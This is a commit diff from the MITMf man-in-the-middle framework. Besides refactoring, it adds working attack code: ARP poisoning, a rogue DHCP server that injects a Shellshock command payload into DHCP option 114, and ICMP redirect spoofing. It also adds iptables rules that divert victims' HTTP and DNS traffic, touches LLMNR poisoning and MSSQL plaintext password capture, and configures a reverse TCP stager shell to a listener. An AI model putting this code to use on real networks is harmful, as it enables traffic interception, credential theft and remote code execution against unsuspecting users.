mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-13 00:24:00 -07:00
Version bump
Minor code optimizations
This commit is contained in:
parent
5e56049e44
commit
9086525c90
44 changed files with 913 additions and 490 deletions
|
@ -1,4 +1,4 @@
|
||||||
MITMf V0.9.5
|
MITMf V0.9.6
|
||||||
============
|
============
|
||||||
|
|
||||||
Framework for Man-In-The-Middle attacks
|
Framework for Man-In-The-Middle attacks
|
||||||
|
|
|
@ -31,7 +31,7 @@
|
||||||
|
|
||||||
[[DNS]]
|
[[DNS]]
|
||||||
www.facebook.com = 192.168.10.1
|
www.facebook.com = 192.168.10.1
|
||||||
google.com = 192.168.10.1
|
google.com = 192.168.20.61
|
||||||
|
|
||||||
|
|
||||||
[Responder]
|
[Responder]
|
||||||
|
@ -327,7 +327,7 @@
|
||||||
[[[[WindowsIntelx86]]]]
|
[[[[WindowsIntelx86]]]]
|
||||||
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
|
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
|
||||||
HOST = 192.168.1.16
|
HOST = 192.168.1.16
|
||||||
PORT = 8443
|
PORT = 4444
|
||||||
SHELL = reverse_tcp_stager
|
SHELL = reverse_tcp_stager
|
||||||
SUPPLIED_SHELLCODE = None
|
SUPPLIED_SHELLCODE = None
|
||||||
ZERO_CERT = False
|
ZERO_CERT = False
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Copyright (c) 2010-2011 Ben Schmidt
|
# Copyright (c) 2010-2011 Ben Schmidt, Marcello Salvati
|
||||||
#
|
#
|
||||||
# This program is free software; you can redistribute it and/or
|
# This program is free software; you can redistribute it and/or
|
||||||
# modify it under the terms of the GNU General Public License as
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
@ -39,6 +39,13 @@ class ProxyPlugins:
|
||||||
'''
|
'''
|
||||||
_instance = None
|
_instance = None
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def getInstance():
|
||||||
|
if ProxyPlugins._instance == None:
|
||||||
|
ProxyPlugins._instance = ProxyPlugins()
|
||||||
|
|
||||||
|
return ProxyPlugins._instance
|
||||||
|
|
||||||
def setPlugins(self,plugins):
|
def setPlugins(self,plugins):
|
||||||
'''Set the plugins in use'''
|
'''Set the plugins in use'''
|
||||||
self.plist = []
|
self.plist = []
|
||||||
|
@ -90,11 +97,3 @@ class ProxyPlugins:
|
||||||
|
|
||||||
#pass our changes to the locals back down
|
#pass our changes to the locals back down
|
||||||
return args
|
return args
|
||||||
|
|
||||||
def getInstance():
|
|
||||||
if ProxyPlugins._instance == None:
|
|
||||||
ProxyPlugins._instance = ProxyPlugins()
|
|
||||||
|
|
||||||
return ProxyPlugins._instance
|
|
||||||
|
|
||||||
getInstance = staticmethod(getInstance)
|
|
0
core/sergioproxy/__init__.py
Normal file
0
core/sergioproxy/__init__.py
Normal file
|
@ -33,7 +33,7 @@ from SSLServerConnection import SSLServerConnection
|
||||||
from URLMonitor import URLMonitor
|
from URLMonitor import URLMonitor
|
||||||
from CookieCleaner import CookieCleaner
|
from CookieCleaner import CookieCleaner
|
||||||
from DnsCache import DnsCache
|
from DnsCache import DnsCache
|
||||||
from libs.sergioproxy.ProxyPlugins import ProxyPlugins
|
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
from configobj import ConfigObj
|
from configobj import ConfigObj
|
||||||
|
|
||||||
class ClientRequest(Request):
|
class ClientRequest(Request):
|
||||||
|
@ -57,7 +57,7 @@ class ClientRequest(Request):
|
||||||
def cleanHeaders(self):
|
def cleanHeaders(self):
|
||||||
headers = self.getAllHeaders().copy()
|
headers = self.getAllHeaders().copy()
|
||||||
|
|
||||||
#for k,v in headers.items():
|
#for k,v in headers.iteritems():
|
||||||
# logging.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v))
|
# logging.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v))
|
||||||
|
|
||||||
if 'accept-encoding' in headers:
|
if 'accept-encoding' in headers:
|
|
@ -42,18 +42,17 @@ class CookieCleaner:
|
||||||
|
|
||||||
_instance = None
|
_instance = None
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.cleanedCookies = set();
|
||||||
|
self.enabled = False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
def getInstance():
|
def getInstance():
|
||||||
if CookieCleaner._instance == None:
|
if CookieCleaner._instance == None:
|
||||||
CookieCleaner._instance = CookieCleaner()
|
CookieCleaner._instance = CookieCleaner()
|
||||||
|
|
||||||
return CookieCleaner._instance
|
return CookieCleaner._instance
|
||||||
|
|
||||||
getInstance = staticmethod(getInstance)
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
self.cleanedCookies = set();
|
|
||||||
self.enabled = False
|
|
||||||
|
|
||||||
def setEnabled(self, enabled):
|
def setEnabled(self, enabled):
|
||||||
self.enabled = enabled
|
self.enabled = enabled
|
||||||
|
|
|
@ -30,6 +30,13 @@ class DnsCache:
|
||||||
self.customAddress = None
|
self.customAddress = None
|
||||||
self.cache = {}
|
self.cache = {}
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def getInstance():
|
||||||
|
if DnsCache._instance == None:
|
||||||
|
DnsCache._instance = DnsCache()
|
||||||
|
|
||||||
|
return DnsCache._instance
|
||||||
|
|
||||||
def cacheResolution(self, host, address):
|
def cacheResolution(self, host, address):
|
||||||
self.cache[host] = address
|
self.cache[host] = address
|
||||||
|
|
||||||
|
@ -39,12 +46,6 @@ class DnsCache:
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def getInstance():
|
|
||||||
if DnsCache._instance == None:
|
|
||||||
DnsCache._instance = DnsCache()
|
|
||||||
|
|
||||||
return DnsCache._instance
|
|
||||||
|
|
||||||
def setCustomRes(self, host, ip_address=None):
|
def setCustomRes(self, host, ip_address=None):
|
||||||
if ip_address is not None:
|
if ip_address is not None:
|
||||||
self.cache[host] = ip_address
|
self.cache[host] = ip_address
|
||||||
|
@ -55,5 +56,3 @@ class DnsCache:
|
||||||
|
|
||||||
def setCustomAddress(self, ip_address):
|
def setCustomAddress(self, ip_address):
|
||||||
self.customAddress = ip_address
|
self.customAddress = ip_address
|
||||||
|
|
||||||
getInstance = staticmethod(getInstance)
|
|
|
@ -26,7 +26,7 @@ except:
|
||||||
|
|
||||||
from twisted.web.http import HTTPClient
|
from twisted.web.http import HTTPClient
|
||||||
from URLMonitor import URLMonitor
|
from URLMonitor import URLMonitor
|
||||||
from libs.sergioproxy.ProxyPlugins import ProxyPlugins
|
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
|
|
||||||
class ServerConnection(HTTPClient):
|
class ServerConnection(HTTPClient):
|
||||||
|
|
||||||
|
@ -80,7 +80,7 @@ class ServerConnection(HTTPClient):
|
||||||
self.sendCommand(self.command, self.uri)
|
self.sendCommand(self.command, self.uri)
|
||||||
|
|
||||||
def sendHeaders(self):
|
def sendHeaders(self):
|
||||||
for header, value in self.headers.items():
|
for header, value in self.headers.iteritems():
|
||||||
logging.debug("Sending header: (%s => %s)" % (header, value))
|
logging.debug("Sending header: (%s => %s)" % (header, value))
|
||||||
self.sendHeader(header, value)
|
self.sendHeader(header, value)
|
||||||
|
|
|
@ -45,6 +45,13 @@ class URLMonitor:
|
||||||
self.hsts = False
|
self.hsts = False
|
||||||
self.hsts_config = None
|
self.hsts_config = None
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def getInstance():
|
||||||
|
if URLMonitor._instance == None:
|
||||||
|
URLMonitor._instance = URLMonitor()
|
||||||
|
|
||||||
|
return URLMonitor._instance
|
||||||
|
|
||||||
def isSecureLink(self, client, url):
|
def isSecureLink(self, client, url):
|
||||||
for expression in URLMonitor.javascriptTrickery:
|
for expression in URLMonitor.javascriptTrickery:
|
||||||
if (re.match(expression, url)):
|
if (re.match(expression, url)):
|
||||||
|
@ -127,7 +134,7 @@ class URLMonitor:
|
||||||
self.hsts = True
|
self.hsts = True
|
||||||
self.hsts_config = hstsconfig
|
self.hsts_config = hstsconfig
|
||||||
|
|
||||||
for k,v in self.hsts_config.items():
|
for k,v in self.hsts_config.iteritems():
|
||||||
self.sustitucion[k] = v
|
self.sustitucion[k] = v
|
||||||
self.real[v] = k
|
self.real[v] = k
|
||||||
|
|
||||||
|
@ -154,11 +161,3 @@ class URLMonitor:
|
||||||
else:
|
else:
|
||||||
logging.debug("[URLMonitor][HSTS]New host: %s"%host)
|
logging.debug("[URLMonitor][HSTS]New host: %s"%host)
|
||||||
return (host, False)
|
return (host, False)
|
||||||
|
|
||||||
def getInstance():
|
|
||||||
if URLMonitor._instance == None:
|
|
||||||
URLMonitor._instance = URLMonitor()
|
|
||||||
|
|
||||||
return URLMonitor._instance
|
|
||||||
|
|
||||||
getInstance = staticmethod(getInstance)
|
|
0
core/sslstrip/__init__.py
Normal file
0
core/sslstrip/__init__.py
Normal file
|
@ -19,8 +19,33 @@
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
|
import os
|
||||||
import random
|
import random
|
||||||
|
|
||||||
|
class SystemConfig:
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def setIpForwarding(value):
|
||||||
|
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
|
||||||
|
file.write(str(value))
|
||||||
|
file.close()
|
||||||
|
|
||||||
|
class iptables:
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def Flush():
|
||||||
|
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def HTTP(http_redir_port):
|
||||||
|
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def DNS(queue_number):
|
||||||
|
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num %s' % queue_number)
|
||||||
|
|
||||||
|
class Banners:
|
||||||
|
|
||||||
banner1 = """
|
banner1 = """
|
||||||
__ __ ___ .--. __ __ ___
|
__ __ ___ .--. __ __ ___
|
||||||
| |/ `.' `. |__| | |/ `.' `. _.._
|
| |/ `.' `. |__| | |/ `.' `. _.._
|
||||||
|
@ -72,6 +97,7 @@ banner4 = """
|
||||||
\/__/ \/__/ \/__/ \/__/ \/__/
|
\/__/ \/__/ \/__/ \/__/ \/__/
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def get_banner():
|
@property
|
||||||
banners = [banner1, banner2, banner3, banner4]
|
def printBanner(self):
|
||||||
return random.choice(banners)
|
banners = [self.banner1, self.banner2, self.banner3, self.banner4]
|
||||||
|
print random.choice(banners)
|
0
core/wrappers/__init__.py
Normal file
0
core/wrappers/__init__.py
Normal file
47
core/wrappers/nfqueue.py
Normal file
47
core/wrappers/nfqueue.py
Normal file
|
@ -0,0 +1,47 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
|
import threading
|
||||||
|
|
||||||
|
from netfilterqueue import NetfilterQueue
|
||||||
|
|
||||||
|
class Nfqueue():
|
||||||
|
|
||||||
|
def __init__(self, queue_number):
|
||||||
|
self.queue_number = queue_number
|
||||||
|
self.nfqueue = NetfilterQueue()
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
t = threading.Thread(name='nfqueue', target=self.bind, args=())
|
||||||
|
t.setDaemon(True)
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
def bind(self):
|
||||||
|
self.nfqueue.bind(self.queue_number, self.callback)
|
||||||
|
self.nfqueue.run()
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
try:
|
||||||
|
self.nfqueue.unbind()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def callback(self, payload):
|
||||||
|
payload.accept()
|
242
core/wrappers/protocols.py
Normal file
242
core/wrappers/protocols.py
Normal file
|
@ -0,0 +1,242 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import threading
|
||||||
|
import binascii
|
||||||
|
import random
|
||||||
|
|
||||||
|
from base64 import b64decode
|
||||||
|
from urllib import unquote
|
||||||
|
from time import sleep
|
||||||
|
|
||||||
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||||
|
from scapy.all import *
|
||||||
|
|
||||||
|
class _DHCP():
|
||||||
|
|
||||||
|
def __init__(self, interface, dhcpcfg, ip, mac):
|
||||||
|
self.interface = interface
|
||||||
|
self.ip_address = ip
|
||||||
|
self.mac_address = mac
|
||||||
|
self.shellshock = None
|
||||||
|
self.debug = False
|
||||||
|
self.dhcpcfg = dhcpcfg
|
||||||
|
self.rand_number = []
|
||||||
|
self.dhcp_dic = {}
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,))
|
||||||
|
t.setDaemon(True)
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
def dhcp_sniff(self, interface):
|
||||||
|
sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface)
|
||||||
|
|
||||||
|
def dhcp_rand_ip(self):
|
||||||
|
pool = self.dhcpcfg['ip_pool'].split('-')
|
||||||
|
trunc_ip = pool[0].split('.'); del(trunc_ip[3])
|
||||||
|
max_range = int(pool[1])
|
||||||
|
min_range = int(pool[0].split('.')[3])
|
||||||
|
number_range = range(min_range, max_range)
|
||||||
|
for n in number_range:
|
||||||
|
if n in self.rand_number:
|
||||||
|
number_range.remove(n)
|
||||||
|
rand_number = random.choice(number_range)
|
||||||
|
self.rand_number.append(rand_number)
|
||||||
|
rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
|
||||||
|
|
||||||
|
return rand_ip
|
||||||
|
|
||||||
|
def dhcp_callback(self, resp):
|
||||||
|
if resp.haslayer(DHCP):
|
||||||
|
xid = resp[BOOTP].xid
|
||||||
|
mac_addr = resp[Ether].src
|
||||||
|
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
|
||||||
|
if xid in self.dhcp_dic.keys():
|
||||||
|
client_ip = self.dhcp_dic[xid]
|
||||||
|
else:
|
||||||
|
client_ip = self.dhcp_rand_ip()
|
||||||
|
self.dhcp_dic[xid] = client_ip
|
||||||
|
|
||||||
|
if resp[DHCP].options[0][1] is 1:
|
||||||
|
logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
|
||||||
|
logging.info("Sending DHCP OFFER")
|
||||||
|
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||||
|
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||||
|
UDP(sport=67, dport=68) /
|
||||||
|
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
|
||||||
|
DHCP(options=[("message-type", "offer"),
|
||||||
|
('server_id', self.ip_address),
|
||||||
|
('subnet_mask', self.dhcpcfg['subnet']),
|
||||||
|
('router', self.ip_address),
|
||||||
|
('lease_time', 172800),
|
||||||
|
('renewal_time', 86400),
|
||||||
|
('rebinding_time', 138240),
|
||||||
|
"end"]))
|
||||||
|
|
||||||
|
try:
|
||||||
|
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
|
||||||
|
except KeyError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
sendp(packet, iface=self.interface, verbose=self.debug)
|
||||||
|
|
||||||
|
if resp[DHCP].options[0][1] is 3:
|
||||||
|
logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
|
||||||
|
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||||
|
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||||
|
UDP(sport=67, dport=68) /
|
||||||
|
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
|
||||||
|
DHCP(options=[("message-type", "ack"),
|
||||||
|
('server_id', self.ip_address),
|
||||||
|
('subnet_mask', self.dhcpcfg['subnet']),
|
||||||
|
('router', self.ip_address),
|
||||||
|
('lease_time', 172800),
|
||||||
|
('renewal_time', 86400),
|
||||||
|
('rebinding_time', 138240)]))
|
||||||
|
|
||||||
|
try:
|
||||||
|
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
|
||||||
|
except KeyError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if self.shellshock:
|
||||||
|
logging.info("Sending DHCP ACK with shellshock payload")
|
||||||
|
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
|
||||||
|
packet[DHCP].options.append("end")
|
||||||
|
else:
|
||||||
|
logging.info("Sending DHCP ACK")
|
||||||
|
packet[DHCP].options.append("end")
|
||||||
|
|
||||||
|
sendp(packet, iface=self.interface, verbose=self.debug)
|
||||||
|
|
||||||
|
class _ARP():
|
||||||
|
|
||||||
|
def __init__(self, gateway, interface, mac):
|
||||||
|
|
||||||
|
self.gateway = gateway
|
||||||
|
self.gatewaymac = getmacbyip(gateway)
|
||||||
|
self.mac = mac
|
||||||
|
self.target = None
|
||||||
|
self.targetmac = None
|
||||||
|
self.interface = interface
|
||||||
|
self.arpmode = 'req'
|
||||||
|
self.debug = False
|
||||||
|
self.send = True
|
||||||
|
self.arp_inter = 3
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
if self.gatewaymac is None:
|
||||||
|
sys.exit("[-] Error: Could not resolve gateway's MAC address")
|
||||||
|
|
||||||
|
if self.target:
|
||||||
|
self.targetmac = getmacbyip(self.target)
|
||||||
|
if self.targetmac is None:
|
||||||
|
sys.exit("[-] Error: Could not resolve target's MAC address")
|
||||||
|
|
||||||
|
if self.arpmode == 'req':
|
||||||
|
pkt = self.build_arp_req()
|
||||||
|
|
||||||
|
elif self.arpmode == 'rep':
|
||||||
|
pkt = self.build_arp_rep()
|
||||||
|
|
||||||
|
t = threading.Thread(name='arp_spoof', target=self.send_arps, args=(pkt, self.interface, self.debug,))
|
||||||
|
t.setDaemon(True)
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
def send_arps(self, pkt, interface, debug):
|
||||||
|
while self.send:
|
||||||
|
sendp(pkt, inter=self.arp_inter, iface=interface, verbose=debug)
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
self.send = False
|
||||||
|
sleep(3)
|
||||||
|
self.arp_inter = 1
|
||||||
|
|
||||||
|
if self.target:
|
||||||
|
print "\n[*] Re-ARPing target"
|
||||||
|
self.reARP_target(5)
|
||||||
|
|
||||||
|
print "\n[*] Re-ARPing network"
|
||||||
|
self.reARP_net(5)
|
||||||
|
|
||||||
|
def build_arp_req(self):
|
||||||
|
if self.target is None:
|
||||||
|
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway)
|
||||||
|
elif self.target:
|
||||||
|
pkt = Ether(src=self.mac, dst=self.targetmac)/\
|
||||||
|
ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target)
|
||||||
|
|
||||||
|
return pkt
|
||||||
|
|
||||||
|
def build_arp_rep(self):
|
||||||
|
if self.target is None:
|
||||||
|
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
|
||||||
|
elif self.target:
|
||||||
|
pkt = Ether(src=self.mac, dst=self.targetmac)/\
|
||||||
|
ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target, op=2)
|
||||||
|
|
||||||
|
return pkt
|
||||||
|
|
||||||
|
def reARP_net(self, count):
|
||||||
|
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
|
||||||
|
ARP(psrc=self.gateway, hwsrc=self.gatewaymac, op=2)
|
||||||
|
|
||||||
|
sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
|
||||||
|
|
||||||
|
def reARP_target(self, count):
|
||||||
|
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
|
||||||
|
ARP(psrc=self.target, hwsrc=self.targetmac, op=2)
|
||||||
|
|
||||||
|
sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
|
||||||
|
|
||||||
|
class _ICMP():
|
||||||
|
|
||||||
|
def __init__(self, interface, target, gateway, ip_address):
|
||||||
|
|
||||||
|
self.target = target
|
||||||
|
self.gateway = gateway
|
||||||
|
self.interface = interface
|
||||||
|
self.ip_address = ip_address
|
||||||
|
self.debug = False
|
||||||
|
self.send = True
|
||||||
|
self.icmp_interval = 2
|
||||||
|
|
||||||
|
def build_icmp(self):
|
||||||
|
pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
|
||||||
|
IP(src=self.target, dst=self.gateway)/UDP()
|
||||||
|
|
||||||
|
return pkt
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
pkt = self.build_icmp()
|
||||||
|
|
||||||
|
t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,))
|
||||||
|
t.setDaemon(True)
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
self.send = False
|
||||||
|
sleep(3)
|
||||||
|
|
||||||
|
def send_icmps(self, pkt, interface, debug):
|
||||||
|
while self.send:
|
||||||
|
sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug)
|
|
@ -16,13 +16,28 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
import sys,struct,SocketServer,re,socket,thread,Fingerprint,random,os,BaseHTTPServer, select,urlparse,zlib, string, time
|
import sys
|
||||||
|
import struct
|
||||||
|
import SocketServer
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import thread
|
||||||
|
import Fingerprint
|
||||||
|
import random
|
||||||
|
import os
|
||||||
|
import BaseHTTPServer
|
||||||
|
import select
|
||||||
|
import urlparse
|
||||||
|
import zlib
|
||||||
|
import string
|
||||||
|
import time
|
||||||
|
|
||||||
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler, BaseServer
|
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler, BaseServer
|
||||||
from Fingerprint import RunSmbFinger,OsNameClientVersion
|
from Fingerprint import RunSmbFinger,OsNameClientVersion
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
from socket import inet_aton
|
from socket import inet_aton
|
||||||
from random import randrange
|
from random import randrange
|
||||||
from libs.sslstrip.DnsCache import DnsCache
|
from core.sslstrip.DnsCache import DnsCache
|
||||||
|
|
||||||
def IsOsX():
|
def IsOsX():
|
||||||
Os_version = sys.platform
|
Os_version = sys.platform
|
||||||
|
@ -1067,7 +1082,7 @@ def ParseClearTextSQLPass(Data,client):
|
||||||
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
|
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
|
||||||
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
|
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
|
||||||
if PrintData(outfile,UserName+":"+PwdStr):
|
if PrintData(outfile,UserName+":"+PwdStr):
|
||||||
logging.warning("MSSQL PlainText Password captured from :",client)
|
logging.warning("MSSQL PlainText Password captured from :",str(client))
|
||||||
logging.warning("MSSQL Username: %s Password: %s"%(UserName, PwdStr))
|
logging.warning("MSSQL Username: %s Password: %s"%(UserName, PwdStr))
|
||||||
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
|
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
|
||||||
logging.warning('MSSQL PlainText Password captured from :%s'%(client))
|
logging.warning('MSSQL PlainText Password captured from :%s'%(client))
|
||||||
|
@ -1232,7 +1247,7 @@ class LLMNR(BaseRequestHandler):
|
||||||
if RespondToIPScope(RespondTo, self.client_address[0]):
|
if RespondToIPScope(RespondTo, self.client_address[0]):
|
||||||
if RespondToSpecificName(RespondToName) == False:
|
if RespondToSpecificName(RespondToName) == False:
|
||||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||||
DnsCache.getInstance().setCustomRes(Name.lower())
|
#DnsCache.getInstance().setCustomRes(Name.lower())
|
||||||
buff.calculate()
|
buff.calculate()
|
||||||
for x in range(1):
|
for x in range(1):
|
||||||
soc.sendto(str(buff), self.client_address)
|
soc.sendto(str(buff), self.client_address)
|
||||||
|
@ -1254,7 +1269,7 @@ class LLMNR(BaseRequestHandler):
|
||||||
|
|
||||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||||
DnsCache.getInstance().setCustomRes(Name.lower())
|
#DnsCache.getInstance().setCustomRes(Name.lower())
|
||||||
buff.calculate()
|
buff.calculate()
|
||||||
for x in range(1):
|
for x in range(1):
|
||||||
soc.sendto(str(buff), self.client_address)
|
soc.sendto(str(buff), self.client_address)
|
||||||
|
@ -1277,7 +1292,7 @@ class LLMNR(BaseRequestHandler):
|
||||||
if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
|
if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
|
||||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||||
DnsCache.getInstance().setCustomRes(Name.lower())
|
#DnsCache.getInstance().setCustomRes(Name.lower())
|
||||||
buff.calculate()
|
buff.calculate()
|
||||||
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
|
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
|
||||||
for x in range(1):
|
for x in range(1):
|
||||||
|
@ -1297,7 +1312,7 @@ class LLMNR(BaseRequestHandler):
|
||||||
pass
|
pass
|
||||||
if RespondToSpecificName(RespondToName) == False:
|
if RespondToSpecificName(RespondToName) == False:
|
||||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||||
DnsCache.getInstance().setCustomRes(Name.lower())
|
#DnsCache.getInstance().setCustomRes(Name.lower())
|
||||||
buff.calculate()
|
buff.calculate()
|
||||||
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
|
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
|
||||||
for x in range(1):
|
for x in range(1):
|
||||||
|
|
33
mitmf.py
33
mitmf.py
|
@ -18,27 +18,24 @@
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import argparse
|
||||||
|
import os
|
||||||
|
import logging
|
||||||
|
|
||||||
from twisted.web import http
|
from twisted.web import http
|
||||||
